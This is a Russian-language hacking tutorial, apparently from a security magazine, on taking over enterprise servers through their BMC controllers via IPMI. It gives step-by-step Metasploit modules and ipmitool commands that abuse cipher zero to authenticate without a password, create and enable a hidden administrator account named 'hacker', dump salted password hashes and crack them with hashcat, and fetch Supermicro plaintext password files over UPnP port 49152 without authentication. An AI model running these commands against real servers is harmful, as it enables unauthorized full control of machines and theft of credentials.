Взлом IPMI сервера используя уязвимости BMC.

РЕШЕНИЕ

Продолжим тему про безграмотную конфигурацию железок. Где-то с год назад прокатилась большая волна инфы про взлом серверов с использованием протокола IPMI. И могу тебе подтвердить — почти во всех корпоративныхсетях это работает :).

Но, немного тебя заинтриговав, давай все же вернусь к началу начал, чтобы было все понятно. Расскажу в упрощенной форме, так как я касался этой темы только с точки зрения взлома и в тонкостях могу ошибиться. Есть серверы (железные штуки) корпоративного уровня. В смысле брендовые, дорогие и, возможно, мощные. Во многих из них встроена дополнительная железячка (либо отдельно вставлено) — BMC, Baseboard Management Controllers.

По сути, это отдельный компьютер (компьютер внутри компьютера — вау! :)), который используется для удаленного управления сервером. Например, это может пригодиться, когда у тебя сервер подвис или сломалось железное что-то и фактически нет возможности уже подключиться напрямую к серверу и промониторить, что с ним. А тут бац — и через BMC имеешь доступ. Причем возможностей через BMC масса: это и просмотр различных характеристик сервера, и возможность управлять питанием, а главное — возможность удаленно подключить устройства (жесткийдиск, DVD-образ) и иметь полный визуальный доступ, то есть видеть изображение, иметь возможность тыкать мышью и клацать клавой. И из таких возможностей и появляется второе применение для BMC — возможность удаленной установки ОС по типу с системами виртуализации. Все это становится возможным потому, что BMC реально встраивается в сервер и имеет прямой доступ к компонентам материнской платы.

 

Как видишь, BMC — вещь крутая, но к ней надо иметь доступ, и, как ни странно, для этого достаточно часто используется тот же сетевой адаптер, что и у сервера. Вот только IP-шник другой. По бестпрактис, конечно, BMC’шки должны выделяться в отдельный сетевой сегмент… да вот только многие даже не знают про BMC и их возможности, что уж тут говорить про практики. А ведь BMC по умолчанию включен.

 

О’кей, с целью и задачей, я думаю, ясно — захакать BMC и захватить мир. Но как же это сделать? Итак, BMC — это модные штуки, а потому и методов доступа они предоставляют массу. Это и веб, и SSH, и IPMI, плюс всякое другое… Самое трудное, вероятно, — это найти в кучах «мусора», что встречается в корпоративке, то, что нам нужно. А сделать это иногда ой как непросто.

 

Есть ряд методов. Во-первых, каждая корпорация придумала свое название для BMC и окружающих его технологий: HP iLO, Dell DRAC/iDRAC, ASUS iKVM BMC, Oracle/Sun ILOM, Fujitsu iRMC, IBM IMM, Supermicro IPMI.

Если мы видим где-то такие слова, то сразу понимаем, что это — «сладкое». Увидеть мы их можем чаще всего на портах 80 (в HTTP), а также в SSL сертификатах с 443-го порта, то есть при сканировании Nmap’ом с –sV –sC (определение сервисов и запуск дефолтных скриптов).

Второй вариант — IPMI, но его я коснусь отдельно в следующем вопросе. Другие же сервисы чаще всего возвращают слишком общую информацию.

Как же ломать? Первое, что мы делаем, как это обычно для такого рода технологий, — проверяем учетные записи по умолчанию. И могу сказать, что шанс того, что учетка подойдет, очень высок. Перечень на картинке. Что делать, если не подошли? Вариант первый — еще побрутить, второй — воспользоваться уязвимостями. Третий — поломать через IPMI.

 

Получить контроль над сервером через BMC, используя IPMI.

 

РЕШЕНИЕ

Продолжим предыдущий вопрос. Итак, IPMI — это Intelligent Platform Management Interface, то есть еще один протокол управления, поддерживаемый большинством топовых производителей (см. выше) и задуманный некогда Intel’ом. У него есть несколько спецификаций: 1, 1.5 и 2.0.

Первая не поддерживала управление через сеть (использовался RS232), а потому нам не очень интересна. 1.5 и 2.0 вышли в 2001 и 2004 году соответственно. Причем вторая актуальная и поддерживается всеми производителями. Основная разница для нас между 1.5 и 2.0 была во внедрении дополнительных мер защиты и дополнительных возможностей (удаленная консоль, возможность проброса девайсов). Сам IPMI по сети работает через протокол RMCP, использующий 623-й UDP-порт (но может встретиться и на TCP). Пока что Nmap не умеет детектировать и определять, что сервис — это IPMI, а жаль. Но с поиском отлично справляется модуль Metasploit’а, плюс выводит информацию по версиям.

 

use auxiliary/scanner/ipmi/ipmi_version

set RHOSTS 192.168.0.1/24

run

 

Так вот, как было сказано выше, в 2.0 добавили побольше «секьюрити». Я вот лично не понимаю, как вообще такое могло появиться… IPMI 2.0 поддерживает 14 видов различного шифрования и аутентификации пользователя в системе (различные виды хеш-функций и методы для передачи пароля, виды шифрования трафика). Зачем оно так сделано — ума не приложу.

 

Но проблема в другом.

Кто-то удосужился добавить в спецификацию так называемый cipher 0 (zero), который подразумевает отсутствие необходимости передавать пароль. Да-да, у нас все секьюрно: пароль не передаем, аутентифицируем пользователя только по логину. WTF?! Да, такая вот фича. Но что еще хуже (не для нас, конечно), до недавнего времени у почти всех производителей была включена поддержка этой фичи по умолчанию. То есть все, что нам нужно для доступа, — знать имя логина. А он, как мы видели, почти везде

известен.

 

Но и это еще не все. На некоторых IPMI существует также null пользователь, то есть пользователь без имени и с таким же пустым паролем, и при этом с админскими правами.

 

О’кей, как нам это все заюзать?

Во-первых, найденные ранее IPMI чекаем на поддержку cipher 0.

 

use auxiliary/scanner/ipmi/ipmi_cipher_zero

set RHOSTS 192.168.0.1/24

run

 

Далее, подключаемся и выполняем команды. Для этого нам нужна тулзенка ipmitool.

 

sudo apt-get install ipmitool

 

Команда доставит нам ее в ОС. Кстати, раньше был косяк, что версия IPMI в Kali была старой и не поддерживала cipher 0. Далее пишем

 

ipmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator

 

-P any_password user list

• -I lanplus — указываем, что мы используем IPMI версии 2;
• -С 0 — указываем применить cipher 0, то есть без пароля;
• -U — имя пользователя (он должен существовать);
• -P — пароль можно указать любой;
• user list — команда после аутентификации — вывести список юзеров.

В некоторых мануалах пишут, что надо сначала пытаться выполнить команду без cipher 0, а потом с ним, но у меня и без этого работает. Если хочется подключиться под анонимным юзером, то просто на месте логина и пароля оставляем ничего (точнее, кавычки с пустотой):

 

ipmitool -I lanplus -H 192.168.0.10 -U » -P » user list

Для того чтобы создать пользователя и войти в систему через веб, надо выполнить такую последовательность:

 

ipmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator -P

any_password user set name 6 hacker

ipmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator -P

any_password user set password 6 password

ipmitool -I lanplus -C 0 –H 192.168.0.10 -U Administrator -P

any_password user priv 6 4

ipmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator -P

any_password user enable 6

 

Суть ее такова. Ранее в user list мы смотрим свободный слот (в примере — 6). А после для него в первой строке задаем имя юзера (hacker), далее задаем пароль (password), устанавливаем привилегии администратора (4) и в конце включаем аккаунт. Теперь можно идти в веб-интерфейс.

 

Согласись, эти баги — трешатинка. Но и это еще не все. В той же спецификации есть поддержка еще одной фичи «безопасной аутентификации».

Они намутили еще один вид «безопасной» аутентификации (HMACSHA1, подробнее можно почитать тут: goo.gl/uMeOjw), при которой до полной аутентификации можно получить соленый хеш пароля пользователя.

 

Да-да, нужно знать только лишь существующее имя пользователя в системе, и бац! У нас уже есть все необходимое для брута: и соль, и хеш. Что хуже всего — это часть спецификации, то есть бага на уровне протокола, а потому и поддерживается всеми вендорами!

 

Опять-таки для проведения атаки нам поможет MSF:

 

use auxiliary/scanner/ipmi/ipmi_dumphashes

set RHOSTS 192.168.0.10

set OUTPUT_HASHCAT_FILE /home/user/ipmi_hashcat.txt

run

 

По умолчанию MSF также пробегается по полученным хешам с мини-набором паролей, так что, возможно, и к Hashcat’у прибегать не потребуется.

 

Если же потребуется, то файлик из OUTPUT_HASHCAT_FILE нам пригодится.

Пример для запуска Hashcat:

 

hashcat —username -m 7300 ipmi_hashcat.txt -a 0 passwords.txt

 

• —username — пропустить имя пользователя из файла;
• -m 7300 — указываем, что ломаем IPMI соленые хешики;
• -a 0 num_passwords.txt — говорим, что используем перебор по словарю,

и указываем его.

 

Но и это еще не все! Так уж получается, что хранить пароль BMC-шке необходимо в открытом виде (в смысле не в виде хеша, хотя могли бы и зашифровать), так как он используется при аутентификации. И ведь нашли злодеи место хранения, как минимум для Supermicro IPMI: /nv/PSBlock или /nv/PSStore. Да, конечно, в случае доступа BMC через cipher 0 мы можем найти и вытащить пароль от реальных учеток и с ними уже пойти на другие серверы, но это не так серьезно.

 

А серьезно то, что в тех же замученных Supermicro IPMI эти файлики до-

ступны всем без аутентификации по UPnP на порту 49152, который также до-

ступен по умолчанию!

 

http://192.168.0.10:49152/PSBlock

No comments, как говорится.